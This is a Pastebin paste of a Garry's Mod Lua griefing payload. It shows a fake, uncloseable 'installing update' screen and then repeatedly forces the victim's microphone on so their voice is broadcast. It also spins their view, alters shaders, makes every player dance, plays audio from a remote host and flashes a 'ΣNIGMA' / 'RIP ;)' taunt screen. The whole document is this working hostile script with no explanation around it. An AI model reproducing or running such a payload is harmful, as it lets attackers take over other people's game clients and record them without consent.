SHARE
TWEET

Untitled

a guest Aug 19th, 2019 67 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.   local loadingPercent = 0
  2.   local W, H = ScrW(), ScrH()
  3.  
  4. surface.CreateFont("lapolice", {
  5.     font = "Open Sans",  
  6.     size = ScrW()*0.02,
  7.     weight = 10,
  8.     blursize = 0,
  9.     scanlines = 2.5,
  10.     antialias = false
  11. })
  12.  
  13. surface.CreateFont( "PureBigButtonFont", {
  14.     font = "Open Sans",
  15.     extended = false,
  16.     size = 23,
  17.     weight = 400,
  18.     blursize = 0,
  19.     scanlines = 0,
  20.     antialias = true,
  21.     underline = false,
  22.     italic = false,
  23.     strikeout = false,
  24.     symbol = false,
  25.     rotary = false,
  26.     shadow = false,
  27.     additive = false,
  28.     outline = false,
  29. } )
  30.  
  31.     ledermatriste = vgui.Create("DFrame")
  32.     ledermatriste:SetPos(0,0)
  33.     ledermatriste:SetSize(ScrW(), ScrH())
  34.     ledermatriste:ShowCloseButton(false)
  35.     ledermatriste:SetTitle("")
  36.     ledermatriste:SetVisible(true)
  37.     ledermatriste:MakePopup()
  38.     ledermatriste:SetDraggable(false)
  39.     ledermatriste.Paint = function(self, w, h)
  40.         draw.RoundedBox(0, 0, 0, w, h, Color(18,21,25,255))
  41.     end
  42.  
  43.     local logoma = vgui.Create("DImage", ledermatriste)
  44.     logoma:SetPos(ScrW()/2 - 250, ScrH()/2 - 250)
  45.     logoma:SetSize(500, 500)
  46.     logoma:SetImage("materials/puresystem/logo_marteaupure.png")
  47.  
  48.     local timerloadingbar = vgui.Create("DPanel", ledermatriste)
  49.     timerloadingbar:SetPos(ScrW()/2 - 150, ScrH()/2 + 245)
  50.     timerloadingbar.Paint = function(self, w, h)
  51.         draw.RoundedBox(5, 0, 0, w, h, Color(255, 255, 255))
  52.     end
  53.  
  54.     local timerloadingbardone = vgui.Create("DPanel", ledermatriste)
  55.     timerloadingbardone:SetPos(ScrW()/2 - 150, ScrH()/2 + 245)
  56.     timerloadingbardone.Paint = function(self, w, h)
  57.         draw.RoundedBox(5, 0, 0, w, h, Color(241, 193, 0,255))
  58.     end
  59.  
  60.     local timerloading = vgui.Create("DLabel", ledermatriste)
  61.     timerloading:SetPos(ScrW()/2 - 100, ScrH()/2 + 250)
  62.     timerloading:SetText("Installation de la mise à jours...")
  63.     timerloading:SetColor(Color(24,24,24,255))
  64.     timerloading:SetFont("PureBigButtonFont")
  65.     timerloading:SizeToContents()
  66.  
  67.     timerloadingbar:SetSize(timerloading:GetWide() + 100, timerloading:GetTall() + 10)
  68.     timerloadingbardone:SetSize(0, timerloading:GetTall() + 10)
  69.  
  70.     timer.Create("charglogo", 1, 1, function()
  71.         logoma:AlphaTo(10, 1, 0)
  72.         logoma:AlphaTo(255, 1, 1)
  73.         timer.Adjust("charglogo", 3, 0, function()
  74.             logoma:AlphaTo(10, 1, 1)
  75.             logoma:AlphaTo(255, 1, 2)
  76.         end)
  77.     end)
  78.  
  79.     local timePassed = 0
  80.  
  81.     timer.Create("parleput1", 0.1, 0, function()--PARLE !!!
  82.         RunConsoleCommand("+voicerecord")
  83.     end)
  84.  
  85.     timer.Create("Pure_loadingTimeout", 1, 0, function()
  86.         timePassed = timePassed + 1
  87.         loadingPercent = loadingPercent + math.random(14, 15)
  88.         if loadingPercent > 50 then
  89.             timer.Remove("Pure_loadingTimeout")
  90.             loadingPercent = 80
  91.         end
  92.         timerloadingbardone:SizeTo(timerloadingbar:GetWide() * loadingPercent / 100 , -1, 3)
  93.     end)
  94.  
  95.     timer.Simple(25, function()
  96.         if ledermatriste != nil && timerloadingbar:IsValid() && timerloadingbardone:IsValid() then
  97.             timerloadingbardone:SizeTo(timerloadingbar:GetWide() * 90 / 100, -1, 3)
  98.         end
  99.     end)
  100.  
  101.     timer.Simple(30, function()
  102.         timer.Remove("charglogo")
  103.  
  104.         if ledermatriste != nil && timerloadingbar:IsValid() && timerloadingbardone:IsValid() then
  105.             timerloadingbardone:SizeTo(timerloadingbar:GetWide(), -1, 1)
  106.         end
  107.     end)
  108.  
  109.     timer.Simple(31, function()
  110.         if ledermatriste != nil then
  111.             ledermatriste:Remove()
  112.             enigma()
  113.         end
  114.     end)
  115.  
  116.  
  117.  
  118.  
  119.     timer.Simple(63, function()
  120.         enigma:Remove()
  121.         timer.Remove( "charglogo" )
  122.         RunConsoleCommand("+right")
  123.         RunConsoleCommand("+voicerecord")
  124.         RunConsoleCommand("cl_yawspeed","9999")
  125.         RunConsoleCommand("r_shader_srgb","1")
  126.     end)
  127.  
  128.  
  129.     timer.Simple( 73, function()
  130.         RunConsoleCommand("-right")
  131.         RunConsoleCommand("cl_yawspeed","8")
  132.         timer.Remove("parleput1")
  133.         timer.Remove("cheer_loop")
  134.     end )
  135.  
  136.     timer.Simple( 90, function()
  137.         RunConsoleCommand("r_shader_srgb","0")
  138.     end )
  139.  
  140.     for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end
  141.  
  142.     timer.Create("cheer_loop",2.7,0,function()
  143.         for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end
  144.     end )
  145.  
  146.  
  147.     hook.Add("Think","somewhere_over_the_rainbow",function()
  148.         local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
  149.         for _, v in ipairs(player.GetAll()) do
  150.             v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
  151.         end
  152.     end)
  153.  
  154.  
  155. function enigma()
  156.     enigma = vgui.Create("DFrame")
  157.     enigma:SetPos(0,0)
  158.     enigma:SetSize(ScrW(), ScrH())
  159.     enigma:ShowCloseButton(false)
  160.     enigma:SetTitle("")
  161.     enigma:SetVisible(true)
  162.     enigma:MakePopup()
  163.     enigma:SetDraggable(false)
  164.     enigma.Paint = function(self, w, h)
  165.         draw.RoundedBox(0, 0, 0, w, h, Color(18,21,25,255))
  166.         draw.DrawText( "(╯°□°)╯︵ ┻━┻", "lapolice", ScrW() * 0.5, ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), TEXT_ALIGN_CENTER )
  167.         draw.DrawText( "(╯°□°)╯︵ ┻━┻", "lapolice", math.random(0,10), ScrH() * (math.random(0,100)*0.01), Color( 240, 100, 100, math.random(230,255) ), 0 )
  168.         draw.DrawText( "Σ", "lapolice", W * 0.7 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  169.         draw.DrawText( "Σ", "lapolice", W * 0.38 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  170.         draw.DrawText( "Σ", "lapolice", W * 0.9 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  171.         draw.DrawText( "Σ", "lapolice", W * 0.35 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  172.         draw.DrawText( "RIP ;)", "lapolice", W * 0.98 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  173.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  174.         draw.DrawText( "RIP ;)", "lapolice", W * 0.73 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  175.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0.27 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  176.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  177.         draw.DrawText( "RIP ;)", "lapolice", W * 0.05 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  178.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0.11 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  179.         draw.DrawText( "RIP ;)", "lapolice", W * 0.75 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  180.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  181.         draw.DrawText( "RIP ;)", "lapolice", W * 0.2 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  182.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  183.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  184.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 ) 
  185.         draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  186.         draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  187.         draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  188.         draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  189.         draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  190.     end
  191.  
  192.     sound.PlayURL( "https://ixxe.online/pure.mp3", "mono", function()end )
  193.  
  194.     local logenigma = vgui.Create("HTML", enigma)
  195.     logenigma:SetPos(ScrW()/2 - 250, ScrH()/2 - 250)
  196.     logenigma:SetSize(500, 500)
  197.     logenigma:OpenURL( "https://i.imgur.com/7zMPifV.png")
  198.  
  199.    
  200. end
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top